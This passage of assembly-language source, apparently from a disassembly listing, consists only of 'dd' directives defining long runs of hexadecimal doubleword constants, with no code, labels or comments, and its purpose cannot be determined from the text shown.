8BF700E1h, 0B85DD060h, 8A0CC9FFh, 0D372EF2h, 7A20FA4Ah dd 0F38C1942h, 89EC81Dh, 5688A72h, 51E52602h, 83D635A1h dd 9F82F9B3h, 5E0F8AE3h, 0FE056AA9h, 0D509FCCDh, 1F443752h dd 0E856BA60h, 5C892D70h, 6A73561Bh, 283DAF3Ch, 0DE88B1CCh dd 5BAB5F1Ch, 9EBBD05Ch, 0CF96FAAFh, 0FBBACE61h, 0F5697866h dd 0CA1B1D47h, 0F985F3EFh, 8FFD8470h, 0FCE8AD8Fh, 58FBABF6h dd 0CCAF5E58h, 75F4C3A8h, 505FCC78h, 0D48CF7BCh, 21DC4D7Fh dd 4086829Eh, 7858C951h, 8FED4ECBh, 13F28763h, 49F99CD3h dd 2642E3B0h, 9B1D58A3h, 8BCD4950h, 0A0D408E1h, 786FDE89h dd 0E5E8E0DEh, 1C5D69A2h, 4FB4ACA7h, 0ADBB498Eh, 3A18D695h dd 0B7CE6573h, 0FA00E5B7h, 0EB1A2357h, 0EFD0D4D0h, 8BC29AE8h dd 6E460688h, 0F7ED8DCh, 6C7D1DBAh, 0AE647EFCh, 8F268F7Bh dd 71561684h, 378BBE3Ah, 0B19383B1h, 5BA97A26h, 8A66E854h dd 0CE374990h, 5BAD5E2h, 2B1384F9h, 0F3CB62DFh, 0EE203613h dd 53CCA63Eh, 453947EFh, 55E82A9Dh, 94688F07h, 0D5B4EDDDh dd 0E1839876h, 57D3CE3Ch, 81E7F33h, 5EEDE0E8h, 931C6C08h dd 6A8BC766h, 957B6386h, 941CA546h, 46082DD4h, 0F587E4D7h dd 87C4567Bh, 5426C3C9h, 3085719Ch, 203AE696h, 79452CFBh dd 0F1CE9640h, 0DF422332h, 0BBF5E79Ch, 2E92A3EFh, 0C76277BBh dd 0DC58B6D6h, 0B50775B8h, 0BAAA4D57h, 90C3AE57h, 95F6B2E4h dd 0B77C7EC8h, 2DC9B8CAh, 682AFA90h, 7FE8927Ah, 9050C7BEh dd 0A81A4796h, 6676C5E9h, 0B7826962h, 7B5E1AC4h, 6337C5E9h dd 0ADDE48BCh, 78C4D884h, 0A02AC475h, 4C5BDF26h, 0A525AFECh dd 1114E58Dh, 159F91B4h, 6507DFEDh, 30689422h, 0AECDCBA0h dd 0F78FD3CDh, 0A1A47016h, 31846141h, 0CA3DA7F3h, 14933017h dd 0CA5CD991h, 245DBA78h, 5BB21E8Eh, 4D58A1F5h, 0EF4D7483h dd 224542ABh, 50441B91h, 8C86545Bh, 75FF1CF0h, 608C35CEh dd 0B301CBDFh, 0F1B818EFh, 0B93B8351h, 0ABB58068h, 5F6A27E9h dd 78F4F588h, 0C120785Ch, 0F600E8DDh, 88795DB4h, 686AEA4Dh dd 0B00F631Ah, 1CFF3B2Fh, 7F3DB8EFh, 78210CC6h, 89991AB7h dd 769CCFBh, 71225ABBh, 563276F6h, 331341C2h, 0EEAC0A5h dd 39DBBD9Bh, 0B1694858h, 0DB61DB1Bh, 0EA038A26h, 0D14D5DB8h dd 0E982D925h, 8FEE5197h, 0F4E6D6CCh, 9FB35CB0h, 0ACFC4735h dd 0BA7DBAE4h, 71958442h, 0A2B2273Eh, 667771EDh, 2A0A413Ah dd 408B77EEh, 0F1F7FA81h, 2C5E7A66h, 565B1257h, 65E02965h dd 11A78C60h, 0E29D0631h, 2760E8EDh, 2A08E1CFh, 0A58795EEh dd 47AEE444h, 58A818F2h, 0C48C410Ah, 0BE10BBF2h, 0F2401339h dd 28E24244h, 0ACCA5C04h, 52C87FC4h, 39D0CCAh, 12AC6FF0h dd 0F649C12Ch, 32C25B63h, 0D23406FBh, 1C04C731h, 6F99A782h dd 25AA4AECh, 5886CF3Ah, 38EF9A53h, 0B433017h, 0ECCF351Ch dd 0E9598DD9h, 966BDE9Ch, 0A7CA1B71h, 0B38FCE67h, 19CA376Dh dd 2A807075h, 0DED907E4h, 83357265h, 8C0711E3h, 799DF684h dd 9852E64Ah, 17095B90h, 0AC1E37D8h, 0BC83495Fh, 698546AAh dd 24F88F5Ch, 0DEA318A3h, 0B49F4BF3h, 0DDB9B205h, 6BB018D2h dd 41F92F72h, 0E82DAB66h, 0D92DFC46h, 0C0C68CE4h, 0D6FABFE9h dd 907CF325h, 0B3C60748h, 0AD58F3EBh, 0E3D52D31h, 91CBEF98h dd 7E4C9320h, 98B891A6h, 4C1ED9F7h, 0EF0B1C98h, 9B8C4E23h dd 0EC22836Bh, 5546A7BAh, 36166DF4h, 3BE9FFECh, 0A9EA3A1Bh dd 0E625AA31h, 97417420h, 234C7D44h, 0DF8C8EE4h, 4197D230h dd 58D2ACDEh, 32BD608Ah, 2479FE8Ah, 1420CDC0h, 0EF7B98B2h dd 0B7FE878Dh, 0B162E882h, 3AC02837h, 434CFE38h, 29EC1942h dd 99FE8A06h, 6C486118h, 86DD329Eh, 0F8B5D1AFh, 0CC81FBBBh dd 0E4B2CC17h, 916FD88h, 76F8CCF9h, 41E47157h, 3D1560E0h dd 308AE68Bh, 0CD843BB3h, 75A914B7h, 2F0176A8h, 945B5DEAh dd 790AAB82h, 39075D26h, 250A268Dh, 86D7C214h, 86629B0Eh dd 0C26C98CBh, 0E44C8C2Fh, 0C4DEE583h, 0C1A0C4A8h, 7025E8E9h dd 0AAE5ADC3h, 0C405F3Fh, 0F75F1AECh, 0F1100E27h, 0D621D2C3h dd 9EF56ED2h, 0EBEA0A8Fh, 0E2225ACh, 0EBC1E552h, 0D9CDF40Bh dd 90A4A3AAh, 0EB45BBCDh, 0CE66CAADh, 0FE48C0E1h, 0EA6F76C2h dd 6F836F14h, 0DF889EA9h, 6C1B4372h, 4D66C1D3h, 920032DDh dd 0E227A54Bh, 0F5F6F7D2h, 3ACC9B03h, 596980Dh, 8E350723h dd 738B63BBh, 0EDEA468h, 259C8520h, 0E6F20D43h, 2059F3ECh dd 60A5AFF4h, 35CCDCBDh, 68DBA465h, 0B3ED4F3Dh, 542A37ABh dd 0E148B346h, 70706FF8h, 7A3CE157h, 0D0DA7166h, 9FB76FAh dd 0D1ABD195h, 0FAC2D72Ah, 0CE6BB214h, 0B6C2D06Dh, 9814D5A6h dd 4A591D11h, 68C764B7h, 0E4F331CBh, 3E14B7E6h, 0A45777D2h dd 254F844Dh, 3B3D01EAh, 51D9FDF9h, 85954636h, 3D1B6EDDh dd 8FC2FF4Dh, 977B2BA5h, 37F7D3B5h, 5CA0E3C3h, 0ED4654BFh dd 177CA983h, 0ECD43757h, 2DFCA407h, 0F8D8415Ch, 0EB4EC9F8h dd 69FD8440h, 2F1FB5CAh, 3BC48B3Ch, 821CED7Bh, 0AAD1E080h dd 4D243B9Fh, 0C792B11Eh, 0E4020FC3h, 1C35C7DDh, 0D19E0A2Ch dd 0DF829280h, 1B6B67D5h, 92598CE4h, 201B88DBh, 0D2F8CA86h dd 2BA8CB5h, 0B76845A4h, 6B665502h, 0B6FA5CEDh, 0D87A4B2Ch dd 27368493h, 23FD09F0h, 786E21AFh, 0B8AC6B6Eh, 3A6A5D48h dd 0A7C95243h, 0C07A04ABh dd 2FD08CA3h, 0D6A88929h, 3FD0B971h, 0F43CADF3h, 0BF8C6811h dd 2B003FC2h, 0F11A8C46h, 733D3281h, 0C95D457Ch, 5AD101A2h dd 0E292184Ch, 0DE5C26ADh, 55B6C181h, 91C849E3h, 0DEB1C80Bh dd 81919A2h, 8255D2B2h, 30E002A1h, 0C293DCF3h, 0FACFA2F9h dd 71763481h, 1165408Bh, 5F9F974Bh, 2A560881h, 0A86ADD35h dd 0B5DE496h, 0EE760346h, 76EC6FBCh, 1FBDB5CEh, 0F6BCD152h dd 0B4DBC13Eh, 3A3DC551h, 520CBAFFh, 0C6564987h, 0E55A134h dd 0F923879Ch, 5591FE21h, 27481596h, 9CCB2376h, 2CE5902Fh dd 0D87A8135h, 11FE231Bh, 4C4E3140h, 7507F5h, 0DA65168Ch dd 13C0B8BDh, 0E7D7A8B8h, 5A6921E2h, 38D75161h, 38139874h dd 0B25F15DBh, 13212C1h, 0DF6E9792h, 53F275FEh, 92D14F76h dd 0A0B531D7h, 0C8E37EA9h, 0E39A69ACh, 0BAE7C641h, 21038C8Dh dd 0EFCFFE2Eh, 1DE43CEAh, 74560FA6h, 6A9D0CC9h, 5830466Ch dd 0E7C1D81Bh, 0A0B9D00Eh, 647D89C4h, 0F985DD75h, 0E8EA2C67h dd 0BD253F85h, 7FA69032h, 0F8A53680h, 18DB7F7Ch, 0D7CCFBC4h dd 3E11B5CFh, 6E62FC03h, 776444B2h, 49B6CD4h, 3AE6929Bh dd 811D527Bh, 68316C15h, 0C00994A8h, 12024309h, 10F30039h dd 6856C855h, 0AFB8447Bh, 0E127B91Dh, 603D9B23h, 746607BDh dd 5CDBB32Ah, 0A4BE6D96h, 0EC6845F7h, 716FF964h, 2F588AB2h dd 7D06CDFCh, 583FA5CBh, 0F613C124h, 892E7D14h, 0B5C33CBCh dd 5A131F0Bh, 473A286Eh, 7E8E171Bh, 0A68CE6Fh, 20559EC9h dd 4402B363h, 0CC689F2Dh, 0C07864h, 0B5EE0877h, 5FF93156h dd 0D398DE06h, 8FCD5204h, 809B5D80h, 76C0268Ah, 0AAAAAE3Dh dd 91FC3786h, 2867500Fh, 0AA1AEF6Ch, 444BD59Fh, 0DD16F658h dd 2E5B4DD9h, 3A3BC0C8h, 95EDC066h, 0D8B2C83Dh, 7F5E1907h dd 8AE3FE0Eh, 9AF320C9h, 1003037Ah, 5DFE926h, 307D4553h dd 22446A82h, 75A8A897h, 0F742F224h, 3B2F7FD7h, 44160B45h dd 0E4A2808Dh, 0A49FDD76h, 0AD3FF138h, 804A90FCh, 9FF313FEh dd 0B2D8BE1Ch, 958C0248h, 0D5EAF44h, 0F9E7BE34h, 29CFC192h dd 0A9C84D26h, 37E9A832h, 0C51280Bh, 0E0A19FFCh, 62FD66F0h dd 0CD9EB483h, 0C1592231h, 0A71FD22Fh, 0A2A715A9h, 0F8C60AA8h dd 0BCBC4AF7h, 0E3A56E73h, 0DF82F2A7h, 4EAADA27h, 0A8EC9532h dd 0DBBA60EDh, 739E812Fh, 0A64B0B18h, 0F39AD940h, 0C3F1BC38h dd 0CCBF4E7Ch, 0F9C521B4h, 33DF1CC0h, 0D55ABDEBh, 0DD72A21Dh dd 16C3A5EDh, 39FEC1E6h, 583C4A6Ch, 970AE061h, 1B9CC0ADh dd 0D995BBEEh, 212BDAABh, 89D9D0AFh, 0C6F8933Ah, 1D64E76Ch dd 0F9EE7B5Dh, 7096C310h, 0EE35BEE1h, 82D10B98h, 58B43A1Fh dd 5C745132h, 2838AE1Eh, 10CD013h, 1507F93Ah, 0B3F8B291h dd 8F031C22h, 0EFDC1115h, 63D6465Eh, 0C38929D3h, 8E2AB086h dd 649C0B83h, 10A4C5D9h, 71C94EC4h, 2EA7BD67h, 1D7B3125h dd 38CC9DBDh, 0F9B45342h, 0D343DCC2h, 7BA65D84h, 0D605DC3Eh dd 17BACC93h, 3812F0FAh, 945E5C71h, 4D25F960h, 0F065D8C9h dd 111399C0h, 3C9E224Ah, 215255E5h, 8FBE8B29h, 5B7FC06Ch dd 29AB2E6Ah, 963ADF9Bh, 0C27242ECh, 0FB17001Bh, 0BE81FA53h dd 0CAA59CABh, 8BD97100h, 0C30014DAh, 3093958h, 0B81D7A26h dd 70932F3Ch, 7DA12E0h, 0B14A3174h, 0B5C29688h, 0A2C91F5Dh dd 0C6C0E1A9h, 9766AB3Ah, 19B2FF0Bh, 0AE979FF2h, 5DE3BB43h dd 78E3CC0h, 7B49CECAh, 0CE6BD6D0h, 3F9E5ADAh, 0C6085Dh dd 36CD37C0h, 0AB97193Ch, 4D4BFB6Bh, 1640C8BCh, 58BD214Fh dd 8970C0C5h, 0DA15BBDFh, 0F22D4AD0h, 0C3C0AE50h, 0C4925906h dd 5A022BEh, 5466CCF5h, 79F61C91h, 76524D92h, 0B7C488CDh dd 0B0AAB68Bh, 3E1345C5h, 819183F1h, 308C9685h, 9C7CC40Eh dd 48CD5E3Ah, 43487E0Bh, 87E7CFD2h, 0E7E871D4h, 1C6F0711h dd 4B6F24E1h, 98694F63h, 93EE74A9h, 2E9C03A8h, 1A7865D6h dd 32587B06h, 0A5CB9CD0h, 7955AE2h, 0ADE4D1A6h, 0DD288F07h dd 0C0E84CA4h, 0B69D21E3h, 0AE192D1Fh, 0E8CF2ABBh, 8533EC9h dd 18B4C344h, 0AF214A5Fh, 41B4B2C8h, 0BB8F3D41h, 0C0D47079h dd 607DC4C2h, 7D6CBD6h, 0FA500889h, 2BCECA16h, 7313DC99h dd 0D459C8E8h, 0D314DD4Ah, 0B40B7D5Ah, 0F3DA74E4h, 0BB8357D7h dd 0EB20C1BDh, 932D1392h, 0D4239402h, 50E5EB61h, 0CB62A358h dd 1EDE7D93h, 320F494h, 0BC662E34h, 0B25A9EB2h, 0A33D97C2h dd 0D5A92133h, 8BBF26B8h, 751D17B5h, 0D2AD18EDh, 22B68D6Bh dd 1122AE45h, 0A1351937h, 0E3565002h, 0DC937AB8h, 1081C39Ch dd 0AED548ADh, 0B5C59A21h, 0A57377AAh, 270C17E5h, 0BFB055E1h dd 5C9221AEh, 149E1045h, 0B266D9BFh, 0BBA510Ch, 175754DEh dd 67AA4AFDh, 811CB71Dh, 673FC118h, 3F3ACFECh, 0C39A1353h dd 28DAD955h, 0C1949DBh, 649CCB75h, 0CA93F8D9h, 5BBF4B0Eh dd 0E7D5B444h, 727D47DCh, 0FE208146h, 0CC0DB74Dh, 0D44CFD54h dd 0FBC0A8E4h, 5BB011C8h, 0C403E39Eh, 0ADB13B42h, 0FE5EFA2Eh dd 2D0331ADh, 145B96EEh, 497D03FCh, 3835E73h, 0BF825B58h dd 462CFFFDh, 2B08426Dh, 28FA8BDh, 2F6185C8h, 0D3427ABh dd 0C26F444h, 9E739E84h, 2C8F9207h, 0A9DF66B1h, 0E9C948A4h dd 0EEA6F2D6h, 2DB49652h, 59C3F2C2h, 7ABFDD36h, 265A1679h dd 0D1A87387h, 445B1896h, 9586D4DEh, 0EC66980Eh, 0B677068h dd 0BEF4C1E6h, 55D2EC38h, 6F0245ADh, 0DF75E0A4h, 0D831141Dh dd 0F9C87A53h, 0A2C3C34Ah, 39F479F8h, 0EBC732A8h, 92846C75h dd 9A40A65h, 0B755FF0Fh, 0AB98EE77h, 0E06C5389h, 2409C234h dd 0B379FCF4h, 0DEDDFD34h, 68C6C6FDh, 0C75677C8h, 0A7C23D40h dd 71A02FE0h, 0A96F254Eh, 45A37D6Fh, 12AC4E48h, 6A12B64Fh dd 911C8A12h, 59850FCEh, 8C07EE4Fh, 0C3DA7E0Ch, 7B99DD00h dd 75C88DF5h, 6185E910h, 0C1A78AC5h, 4DE9F911h, 0D8EAD4E9h dd 7F6896E2h, 0EB9261FEh, 0AA667627h, 0D7B2B4Eh, 6D3254B1h dd 5F3F30BFh, 43079A20h, 757619E1h, 21188BB6h, 3D537487h dd 27CC1049h, 9C155822h, 0CB24785Dh, 56C172Dh, 0CF60652Eh dd 0B27DCC66h, 413B498Bh, 92E74244h, 606E3A22h, 0FF77BE66h dd 6EC45E8h, 745AEACh, 0C909198Eh, 11BA3CB4h, 0C68E215Ah dd 15D53E6h, 2488EDF9h, 382CDBECh, 52E3A0ABh, 1409C7B6h dd 0FA4F06BCh, 62B352B7h, 66625735h, 60AB10A7h, 59A5F845h dd 4EB974FAh, 10DFD08Dh, 671AEBE3h, 7D18945h, 0FACC3336h dd 2936472Ah, 2F0FC2EFh, 3BB9B561h, 0C9FC2959h, 6A27F5E7h dd 99B65838h, 78CCFFFh, 0B679537Dh, 8EE205E8h, 46935C66h dd 0D89A7838h, 323747B0h, 6F2D8397h, 0E7EF2379h, 6C660F08h dd 8CBFC502h, 0FF68376Dh, 56261327h, 513F7CD9h, 4D70ED40h dd 49F455E4h, 0F0A474C3h, 9DEEEEF9h, 0CA91027Dh, 0A240C270h dd 0AB1BD42Fh, 0D18F4E72h, 4E3778E0h, 0F9700E16h, 845555EEh dd 0C633B087h, 5D90E640h, 4AA82B6Eh, 361F14Dh, 9FE95F1h dd 0CB9B94C1h, 34E1EEAh, 9B0A49F8h, 0A9ED53CAh, 0CC2E0EA9h dd 0EA383CF8h, 1F0D42F3h, 37084464h, 4B055DEFh, 4A44C26Dh dd 0D5394707h, 22F3D513h, 0D9D7006Ah, 0FD040CBBh, 1EFB55D5h dd 98994F6Ah, 566D477h, 978ADFF4h, 3B8AC5C4h, 0F480F60Eh dd 469B217Bh, 5CEF285Bh, 0ADAE2110h, 5D23602Ch, 6CAE2C7Fh dd 0DBE0A66Fh, 15F10796h, 3CEB2390h, 0FF04BE44h, 1273D649h dd 84167D47h, 5A940676h dd 7DA2CB2Ch, 0CBA32382h, 96F2A866h, 0F80C4F71h, 97E7B3A7h dd 3344023h, 0E6DE511Fh, 1948D9AEh, 527E84h, 8C7AF17Bh dd 239E53F9h, 0ABEBCC48h, 9F083A8Dh, 63391BB2h, 6C4C0CA4h dd 14F435F4h, 5C0C6DBAh, 0B8426943h, 72E5EC3Dh, 0E672FC45h dd 0F964EDF4h, 0A178807Fh, 242623C6h, 3AD7D10h, 825D4F4Fh dd 0CC402368h, 8E3EF625h, 6B144CD4h, 0D65F7CDh, 0D48A26DEh dd 0D7932F80h, 0A9B0880Fh, 2E02467Ah, 24DD3359h, 5464C7E4h dd 57ECBE47h, 90165BD5h, 7F76E0CFh, 2F71BC5Dh, 0A824D273h dd 4766B8B9h, 0D7A1FE0Ch, 0EC8C8F8Fh, 855AA61h, 328F73FCh dd 0BF48BF7Eh, 92EBC948h, 29507674h, 8AB0BB72h, 7178B86Fh dd 5D23B0F4h, 57F57DC0h, 143F4038h, 1F167045h, 0F4955BBh dd 92EFDF2Ch, 88349346h, 2F764D1h, 0DBD50EA9h, 0E1BB3F9Ch dd 0A6989561h, 851E5E9Ch, 1213C11Ah, 2EFF4BAh, 3202BD5Ch dd 4E5A9BB4h, 53309170h, 0D4E603h, 709DF072h, 99A8C159h dd 343B803h, 19C127DEh, 96E89D72h, 0CCBA601Bh, 0D959D603h dd 0E0A1AF29h, 6EB1E4EEh, 0A283E4AEh, 0FF6E142Ah, 0F1EA578Ch dd 0BB0A3DEFh, 0A5D3FD59h, 89C578F1h, 9C05A70Ch, 957FABA1h dd 0B1DFF064h, 0C1B363B4h, 0E78A9AB3h, 826E5C54h, 0DF9A6156h dd 2EA03D5Ch, 35B95F96h, 0CF52AD46h, 0B20EDE15h, 30ED544Dh dd 1ABC1F18h, 0A70264B8h, 34D2FF07h, 699B0B39h, 229502C4h dd 6FCD3E08h, 0C8DC4490h, 0B93AC508h, 0DE4C6EA7h, 9A986186h dd 0ABE979Ah, 0B1E2BDB4h, 5551511Ah, 45D26622h, 0BD10D8EDh dd 0E4CD81A9h, 9F8500Dh, 85EF7623h, 9DDA4F61h, 0D74A18Bh dd 2655AC7Ah, 0F5EB3AB4h, 0DCCC2F42h, 3929731Ah, 773E33C8h dd 0B72034FAh, 6EACA3E7h, 0B9CADA84h, 63BB024Ch, 8D4C8842h dd 5A384B4Ch, 41337C5Ah, 5DBC9ED6h, 943FB6E7h, 0B89840F5h dd 558C8BF2h, 0A94FF8B2h, 0C270D492h, 0DE5C04E0h, 52291E9Dh dd 55A1C95Ch, 9B66AEF3h, 0A1B73ABBh, 9D70F8F8h, 731C5CE1h dd 1D0CB214h, 0B978FD0Eh, 0E2FE8F68h, 5D920850h, 3EFAABA2h dd 0A2827710h, 9D36BE15h, 0FDE2AD59h, 56A44B69h, 0E72D5A48h dd 7CF12580h, 0B71E5F5Bh, 0AF7BC3DBh, 0ABE6307Dh, 59D74F23h dd 5FAEF629h, 7E860407h, 0D672D559h, 9694AC47h, 49505A7Eh dd 0FC6B9943h, 5AD5A571h, 621E1310h, 0D6A75D49h, 0DA40A320h dd 91F70285h, 9F4B9E02h, 387A0F57h, 9405EAF1h, 246A0B01h dd 742D603Eh, 0C26C3366h, 0D5E61FF3h, 26680242h, 1AFA3A4Ch dd 0EF337373h, 0DAE0E7A5h, 0C8AA9509h, 0DE9F21B0h, 2E803D64h dd 0C2229E1Dh, 0B7C97F39h, 384F9420h, 0C5000908h, 1C784A01h dd 272A263h, 89687465h, 0E8A8840h, 0D2ED8CDDh, 2F54CD40h dd 65D5F83Dh, 51C52F9Fh, 0EBBCA8D6h, 3165BC34h, 0BF2DB6CAh dd 0B802979Dh, 82B2B1ACh, 290275ABh, 0E56EEA6Dh, 0E2430F14h dd 67C8CE12h, 745B90D8h, 6BD30377h, 7E3EE35Fh, 0C6609932h dd 0DD227E78h, 24A0F4CEh, 799354A0h, 0EF312811h, 109A3A3Bh dd 7D64F36Fh, 0E0EEDFDAh, 31216B72h, 81E39F14h, 0C4907593h dd 0B19FCA75h, 1F40E866h, 0E856463Ah, 27C23BFCh, 0F385B095h dd 76F15115h, 0BBCEFA98h, 0F60A471Dh, 31B6C252h, 56072282h dd 619421F1h, 1A8EE50Ch, 2B8ED2C4h, 14E1C1DDh, 69305785h dd 0F46C473Ch, 94F4126Eh, 96E92F48h, 71A3B164h, 7CABD843h dd 0BDF0909Ah, 0AFDFAD13h, 0B3091B4Fh, 51208B59h, 0B288C815h dd 734A37Dh, 10F615C7h, 4A9860F9h, 2AEBF2F1h, 6183EFFFh dd 7DBECBC2h, 9CEE704Ch, 84D8509Ch, 35BDA45Fh, 0A9A440C6h dd 9559D2D8h, 28487DF8h, 0EF018B5Bh, 15FDBB97h, 0D9FE2F72h dd 5E903DDAh, 0F00D79EBh, 0CAA685C4h, 0D4A9CD23h, 0AB45A304h dd 0DEA30551h, 0E4D520D7h, 75D3B5BCh, 837F528Eh, 0C6D953A3h dd 0C944A135h, 0ADE17143h, 548DEEBDh, 0D5638608h, 0D089DB46h dd 0AFAF73E1h, 30970FB7h, 32BA1C90h, 7F4F3F6Fh, 0CFBD9570h dd 3152C5F4h, 8C18EAA1h, 53EBDADEh, 49657703h, 35AD12FFh dd 0B9333BF9h, 1EA87434h, 4E8B5B47h, 0F0F11D4Bh, 9EBB6063h dd 709D09B5h, 0A6253769h, 83166325h, 70D2143Ah, 1BB1BAD7h dd 682B152Eh, 0E047D322h, 8763EEFEh, 0DBE28AF2h, 5250E34Ch dd 13124C79h, 6AA30AD7h, 0E9AA9BDEh, 8184F89Fh, 728AB76Fh dd 18A89B29h, 41B4CE82h, 0FB41D85Ch, 9A30B935h, 146ACDBDh dd 0A688693Ch, 50C0DF22h, 7C4E226Fh, 0BB645Fh, 90082F0Dh dd 27B71814h, 0E9273ECFh, 61F4CE70h, 0D8CC85B6h, 40A5FDC7h dd 0AA57F65Bh, 0E76ADF05h, 0B73CD13Eh, 3DBFF1C4h, 0B51EA9E2h dd 97797A59h, 62408729h, 0A5701A2Ah, 3F99B182h, 0DCAE7A7Dh dd 6A6565A8h, 42AB0FF1h, 0BD2878BAh, 4130B99Eh, 0BFA02589h dd 94B1436h, 8345EB02h, 7614B3h, 244983F6h, 4313549Ah dd 7663BC61h, 262D5834h, 0D1E0B47h, 0D2A43240h, 567656ABh dd 91343B5Bh, 9463CBA7h, 0C65B82E5h, 5039ACDDh, 0E829A9A9h dd 0EA380996h, 571FC424h, 4728C4A5h, 0F3734AFAh, 996F7E9Fh dd 0B775B2CEh, 52408216h, 5A34805Dh, 0D87EF736h, 0E21C6A6Eh dd 0EB6993E6h, 6725F8C4h, 0DAF488D8h, 40C8A609h, 0B9B65557h dd 3A802802h, 5A5E823Ah, 3CF50B21h, 0C4BE1BF5h, 5F566EEDh dd 89DD688Ah, 0E4E5BDBBh, 95A53358h, 685AA5AFh, 2B906CB1h dd 0B8BB3DFFh, 63417D61h, 66E543A5h, 1F971E18h, 34EE7FD7h dd 0EC3C2E6Bh, 8F8D0262h, 8699387Ch, 222139D0h, 24CCE04Ah dd 1D4F974Ch, 1779C401h, 5EEEA923h, 0AE680D48h, 0E05C8201h dd 22B108F1h, 18AFC235h, 9110E91h, 9E235A15h, 2A4C1075h dd 7369AAE3h, 50DA3EFBh, 1A5A7A95h, 0D179D4E6h, 3834B46Ch dd 0CB34020Bh, 0D3BD230h, 92B3844h, 730B4DDAh, 3AE51621h dd 0D0D9A4EEh, 5FA3AE11h, 7207AE5h, 49F6DF35h, 0DA93A2A8h dd 577FBFE7h, 6DD0C271h, 0D3E956h, 343978BBh, 0A811DE53h dd 4BA0A822h, 91A21C81h, 0E76C6366h, 0A62D0551h, 92CE3CF2h dd 536FBEBEh, 7B95D65Dh, 0D11D34h, 231E35C5h, 0BF25A665h dd 1BD7240Fh, 208ED545h, 925B9DF9h, 8FF7342Ch, 3496CD5Eh dd 323ED444h, 0F8965EB0h, 9409C97Dh, 0EC06C748h, 83BA8ED3h dd 68716B0Ch, 0AFB5367Bh, 0F63FCCD2h, 0E8D6F2E5h, 0C554B5A5h dd 0F31C907Dh, 150F9B0Fh, 0F6A49D63h, 8D67CD91h, 81862EF8h dd 7DA689CDh, 6514056Eh, 317DBA50h, 0E14600C3h, 0E66E6787h dd 1FAD4507h, 0D52DC4E8h, 42139405h, 0BA7AE94Dh, 0DE8F53BDh dd 17FDC229h, 0E8FA5932h, 88026AB2h, 38692802h, 7AE6605Eh dd 0BD23BCEEh, 0F30A878Fh, 9BE44C4Fh, 0A63B5ABDh, 92E97868h dd 0E035023Fh, 0E969E0BFh, 2A1EA816h, 965FD33Eh, 0FCC84012h dd 0CCC69701h, 0A06FF55h, 532767FCh, 0C03A4008h, 7AD6E16Ah dd 2C4A22A8h, 0F9819945h, 0A4008A9Ah, 0D12E9434h, 0AAECC8C1h dd 5F2761E4h, 44F5706Eh, 0B4BD320Eh, 66A69846h, 0A220AA1Eh dd 3D432C48h, 72046418h, 551A4DA2h, 26EBBC89h, 9217A12h dd 8D847C0Dh, 9CE7679Eh, 24BE4EC4h, 0BC0462F2h, 757A1BF4h dd 7042E72Bh, 7E985273h, 257C4772h, 0A2740C60h, 4A87C96Ch dd 0B0063C74h, 5285228Ah, 54E548C9h, 8F67EB1Bh, 3E090630h dd 5A81DB67h, 472E85FAh, 14440498h, 0CEB427A9h, 0B74A522h dd 16F0B4A3h, 7ED12D2Bh, 0F8F7821h, 5C5BA01Fh, 81481C74h dd 0B183EA97h, 0C7EC126Ah dd 1884D62Dh, 9DFFF7CCh, 6002AEAAh, 745C6F43h, 3A9F619Ah dd 72EB2E47h, 0FFF17934h, 0EE8A5E44h, 41E69DB1h, 0BADCDE6Eh dd 32D0F537h, 0DFD8B03Dh, 28BEACB4h, 0C9A55E06h, 0B2AE8204h dd 194FF183h, 50DCCD19h, 0DE375CA8h, 1EC4ABA8h, 0A367FBD2h dd 9A9F8E2Dh, 2204508Bh, 0DD3BDA65h, 635101C7h, 0CB382610h dd 0A75B496Ah, 22E1BE6Dh, 8C9EE664h, 33F4E746h, 0B86354F5h dd 0CF8D365Ch, 85253A95h, 80D802B5h, 0B36038A4h, 0ADC750D8h dd 58E4D080h, 0B0905207h, 3AF7E64h, 72F109F6h, 5BC58C8Bh dd 0D5297B3Ah, 8656E4F2h, 0AD7C68FCh, 41B72641h, 4932D022h dd 0F7B5F326h, 363141F3h, 0F59E9A7h, 901664h, 0C037CBD6h dd 0D01C5421h, 66A83321h, 0AE56AEAAh, 0DECDAC73h, 536F5BBCh dd 506F86A6h, 8D002EA3h, 62EEE393h, 0AC34EC3h, 5F2848BCh dd 0ED0936C0h, 0BB103D44h, 5B086A43h, 8B1CF380h, 0D4F6B8Bh dd 0FCD06A2Ah, 0EB98E0ADh, 7BB57E57h, 0E9ADE554h, 39F7112Ah dd 19047FACh, 0C2BE5F7Fh, 720A10h, 0DF845DB5h, 0F4521815h dd 98B7C1Dh, 82CCC63Fh, 664DFF82h, 3C8FDC73h, 104DEB1Fh dd 162AC438h, 9816257Dh, 7C3B5238h, 5B4C8338h, 5E42147Ch dd 542C3905h, 0A0B2FC11h, 0FDC8D8B0h, 0CEF94363h, 0B95C0BE9h dd 0EB879086h, 62260150h, 8E87D4ABh, 0F6C6A316h, 0ACE06396h dd 58250B4Eh, 0D0E1008Ah, 0A8ED6C9Eh, 97A4FEB0h, 44DBAC00h dd 0A45BB20Eh, 5C3E7F3Fh, 6F9EDCFFh, 0F0CF5B6Dh, 775639C0h dd 9124C3BAh, 0F6596906h, 5C2FB070h, 0D49F9CDDh, 5FA856CBh dd 2AE93C2Ch, 1B2DC59Ah, 7EAD2CE4h, 2C8276C0h, 6C63306h dd 0E5F745D0h, 4F34AC8Eh, 4FD031F8h, 0AF8EDF6Bh, 0D56534EDh dd 5C125D27h, 0C7D379Eh, 0D8EE8D2Dh, 0ED015236h, 1094E034h dd 0FF5CA563h, 0C11E6B2Eh, 7442BC0Fh, 0DBF2E301h, 7E98301Ch dd 0B2E4300Eh, 48EECD79h, 5AF424DBh, 4D20F49Ah, 0AB602570h dd 0E355D536h, 2DF398AFh, 8C499BD2h, 69085DF7h, 3CF78DA8h dd 0F6A21CCDh, 0C80AE57Dh, 432BA587h, 0AF2A9480h, 7FDC796Fh dd 97A71B7Eh, 2CA6A67h, 300D12CEh, 0A23E2595h, 82D91BF4h dd 0AB05D5BDh, 3ECFFCE4h, 7454A337h, 0A4A32543h, 65F29B4h dd 0A2931DE9h, 74DF6207h, 264289E1h, 64BA1E74h, 373987ADh dd 0C2ACACF0h, 0FB5015B8h, 128A06ECh, 536AD4F7h, 0B45003B1h dd 461DA977h, 7AF51CB2h, 0BF3FC376h, 0C4DAEF02h, 3C5D330Ch dd 0A79CE182h, 1F02BD51h, 0F80943h, 6C8FD1D8h, 0B79344CEh dd 0FE033D99h, 0E25773D9h, 0C58FC472h, 5A4E3055h, 0A6115148h dd 0FD916574h, 4CC5E9FAh, 0CDF6F09Ah, 44463EFBh, 0F804A8ECh dd 